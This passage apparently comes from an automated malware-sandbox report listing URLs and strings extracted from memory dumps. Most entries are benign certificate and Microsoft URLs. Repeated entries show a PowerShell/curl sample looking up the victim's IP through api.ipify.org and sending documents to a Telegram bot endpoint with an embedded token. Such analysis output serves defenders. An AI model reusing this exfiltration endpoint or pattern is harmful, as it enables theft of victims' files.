":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "stem.management.automation.re" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ystem.windows.fo" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "http://www.microsoft.com/windows" Pattern match: "wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "crl.microsoft.com/pki/crl/products/mi" Pattern match: "http://www.microsoft.com/windows0" Heuristic match: "ay.am" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74408&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%d" Pattern match: "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&"5b:Tc91f,Found URL "https://api.ipify.org).trim();curl.exe" - Source: "00000000-00002720.00000000.158138.715C0000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocument" - Source: "00000000-00002720.00000000.158138.715C0000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocumentstart-sleep" - Source: "00000000-00002720.00000000.158138.715C0000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocument@f\qpf\qpr\q@+\q@j\q@j\q@j\q0r\q00\q" - Source: "00000000-00002720.00000000.158138.715C0000.00000004.mdmp") Found URL "https://api.ipify.org).trim();curl.exe" - Source: "00000000-00002720.00000000.158138.719B0000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocumentrosoft\powershell\3\powershellengine9.154.0.303194.0.30319icrosoft.powershell.consolehost," - Source: "00000000-00002720.00000000.158138.719B0000.00000004.mdmp") Found URL "https://api.ipify.org).trim();curl.exe" - Source: "00000000-00002720.00000000.158138.73060000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocumentallusersprofile=c:\programdataappdata=c:\users\hapubws\appdata\roamingcommonprogramfiles=c:\program" - Source: "00000000-00002720.00000000.158138.73060000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czco!yj2.5.29.17digicert" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;digicert" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]0a0!nageruct56ad364e35psmodulepath=c:\windows\system32\windowspowershell\v1.0\modules\;c:\program" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "https://api.ipify.org).trim();curl.exe" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocument1.3.6.1.5.5.7.1.122.16.840.1.113730.1.13us1!0the" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp") Found URL "https://api.ipify.org).trim();curl.exe" - Source: "00000000-00002720.00000001.160058.715C0000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocument" - Source: "00000000-00002720.00000001.160058.715C0000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocumentstart-sleep" - Source: "00000000-00002720.00000001.160058.715C0000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocument@f\qpf\qpr\q@+\q@j\q@j\q@j\qpt\q0r\q00\q" - Source: "00000000-00002720.00000001.160058.715C0000.00000004.mdmp") Found URL "https://api.ipify.org).trim();curl.exe" - Source: "00000000-00002720.00000001.160058.719B0000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocumentrosoft\powershell\3\powershellengine9.154.0.303194.0.30319icrosoft.powershell.consolehost," - Source: "00000000-00002720.00000001.160058.719B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czco!yj2.5.29.17digicert" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]0a0!" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "https://api.ipify.org).trim();curl.exe" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocument1.3.6.1.5.5.7.1.122.16.840.1.113730.1.13us1!0the" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washi(z6n5?z6n5=zredmondredmond" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows03gq1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport:\programdata\microsoft\windows" - Source: "00000000-00002720.00000001.160058.73F20000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00002720.00000001.160058.73F20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mi]ut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002720.00000001.160058.73F20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002720.00000001.160058.73F20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002720.00000001.160058.73F20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>" - Source: "00000000-00002720.00000001.160058.74020000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002720.00000001.160058.74020000.00000004.mdmp") Found URL "http://www.microsoft.com/windowscasmmicrosoft.powershell.commands.utility.dllxszd2z*dpczlambda_methody6?mxszd2zlambda_methodxszd2z*dpczq)2t" - Source: "00000000-00002720.00000001.160058.74020000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*rsa1" - Source: "00000000-00002720.00000001.160058.74020000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@s%kenameprop" - Source: "00000000-00002720.00000001.160058.74020000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00002720.00000001.160058.74020000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002720.00000001.160058.74020000.00000004.mdmp") Found URL "https://api.ipify.org).trim();curl.exe" - Source: "00000000-00002720.00000002.161977.715C0000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocument" - Source: "00000000-00002720.00000002.161977.715C0000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocumentstart-sleep" - Source: "00000000-00002720.00000002.161977.715C0000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocument@f\qpf\qpr\q@+\q@j\q@j\q@j\qpt\q0r\q00\q" - Source: "00000000-00002720.00000002.161977.715C0000.00000004.mdmp") Found URL "https://api.ipify.org).trim();curl.exe" - Source: "00000000-00002720.00000002.161977.719B0000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocumentrosoft\powershell\3\powershellengine9.154.0.303194.0.30319icrosoft.powershell.consolehost," - Source: "00000000-00002720.00000002.161977.719B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czco!yj2.5.29.17digicert" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]0a0!" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "https://api.ipify.org).trim();curl.exe" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocument1.3.6.1.5.5.7.1.122.16.840.1.113730.1.13us1!0the" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washi(z6n5?z6n5=zredmondredmond@26vtlp0xr!s4zs9_>pikq7f" - Source: "00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport:\programdata\microsoft\windows" - Source: "00000000-00002720.00000002.161977.73F20000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00002720.00000002.161977.73F20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mi]ut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002720.00000002.161977.73F20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002720.00000002.161977.73F20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002720.00000002.161977.73F20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>" - Source: "00000000-00002720.00000002.161977.74020000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@s%kenameprop" - Source: "00000000-00002720.00000002.161977.7407B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002720.00000002.161977.74092000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002720.00000002.161977.7409E000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found URL "https://edge-mobile-static.azureedge.net/eccp/get?settenant=edge-config&setplatform=win&setmkt=en-us&setchannel=stable" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://edge-cloud-resource-static.azureedge.net/default/operation_config/default.json" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/ntp.8d73e3f1.js" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://authint.bcentral.cn" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/pdf.js" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/realnameauth.9b5fc58a.js" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/sidepane.d5bcd879.js" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/bilibili.js" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://edge-cloud-resource-static.azureedge.net/consumer/ai-assistant/alpha/v1/static/js/youtube.js" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://edge-consumer-static.azureedge.net/edropstatic/2025/02/25/1/static/css/main.2a8c2845.css" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://edge-consumer-static.azureedge.net/edropstatic/2025/02/25/1/static/js/main.915ce316.js" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://earth.google.com" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://www.figma.com" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://map.baidu.com" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://maps.gaode.com" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://app.diagrams.net" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://edge-consumer-static.azureedge.net/screenshot/2025/index.6bfeeb46d8664a1f.js" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL "https://edge-consumer-static.azureedge.net/screenshot/2025/index.8147d939d9ed09c5.js" - Source: "00000000-00004464.00000000.157866.067C0000.00000004.mdmp") Found URL 